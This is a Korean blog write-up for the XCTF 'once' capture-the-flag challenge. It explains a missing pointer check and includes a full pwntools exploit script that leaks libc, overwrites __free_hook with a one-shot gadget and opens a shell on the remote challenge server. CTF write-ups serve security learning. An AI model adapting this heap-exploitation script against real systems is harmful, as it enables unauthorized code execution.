y0u_bat
[XCTF] - once writeup 본문
간만에 심심해서 CTF 문제를 풀어봤다.
Mitigation
모든 보호기법이 걸려 있다.
그러므로 free_hook에 원샷 가젯을 덮는 식으로 풀어야 된다.
5번 메뉴로 libc 주소를 준다. 이 메뉴로 libc base를 구하면 된다.
Vulnerability
문제점
4를 누르고 2를 누르면 ptr에 size 크기만큼 덮을 수 있게 된다. 그런데 ptr이 있는지 없는지 체크를 안한다.
처음 1를 누르면 0x20만큼 할당하고 2번으로 방금 할당한 공간에 0x20만큼 원하는 데이터를 쓸 수 있는데, 중요한 데이터를 수정 할 수 있기 때문에 3번 메뉴에서 ptr의 내용을 0x202020으로 덮을 수 있다.
요약:
ptr의 내용을 0x202020으로 바꾼다.
4->1에서 큰 사이즈를 입력하여 ptr 할당 안되게 만든다.
4->2로 0x202020에 원하는 내용을 덮을 수 있으니, 0x202038 부분을 free_hook 덮고그뒤에 체크하는 부분들 0으로 덮는다.
처음 메뉴로 돌아와 2번 메뉴로 free_hook에 원샷가젯으로 덮는다.
free를 호출한다.
< 문제점 1 >
< 문제점 2 >
Exploit
from pwn import *
#context.log_level = 'debug'
#s = process("./once")
s = remote("47.75.189.102",9999)
# leak
s.sendline("99999")
s.recvuntil("0x")
libc_base = int(s.recv(12),16)-0x6F690
free_hook = libc_base + 0x3C67A8
oneshot_gadget = libc_base +0xf1117
stdout_libc = libc_base+0x3C5620
stdin_libc = libc_base+0x3C48E0
log.info("libc base address : " + hex(libc_base))
log.info("free hook address : " + hex(free_hook))
log.info("onesot gadget address : " + hex(oneshot_gadget))
# exploit
s.recvuntil(">")
s.sendline("1")
s.recvuntil(">")
s.send("2")
s.send("a"*0x18+ "\x58")
s.recvuntil(">")
s.send("3")
s.recvuntil(">")
s.send("4")
s.recvuntil(">")
s.send("1")
s.recvuntil("input size:\n")
s.send("198")
s.recvuntil(">")
s.send("4")
s.recvuntil(">")
s.send("2") # gogogo
s.send(p64(0)*3 + p64(free_hook) + p64(stdout_libc) + p64(0) + p64(stdin_libc) + p32(0)*9)
s.recvuntil(">")
s.send("2")
s.recvuntil(">")
s.send("2")
s.send(p64(oneshot_gadget))
s.recvuntil(">")
s.send("4")
s.recvuntil(">")
s.send("1")
s.recvuntil("input size:\n")
s.send("1000")
s.recvuntil(">")
s.sendline("3")
s.interactive()
'System > [CTF]' 카테고리의 다른 글
[H3XOR] whattheheap (0) | 2018.06.14 |
---|---|
Codegate2018 - BaskinRobins31 (0) | 2018.02.10 |
Codegate2018 - Super Marimo (0) | 2018.02.10 |
Codegaet2018 - Melong (0) | 2018.02.10 |
[DEFCON 2017] mute (0) | 2017.05.08 |
Comments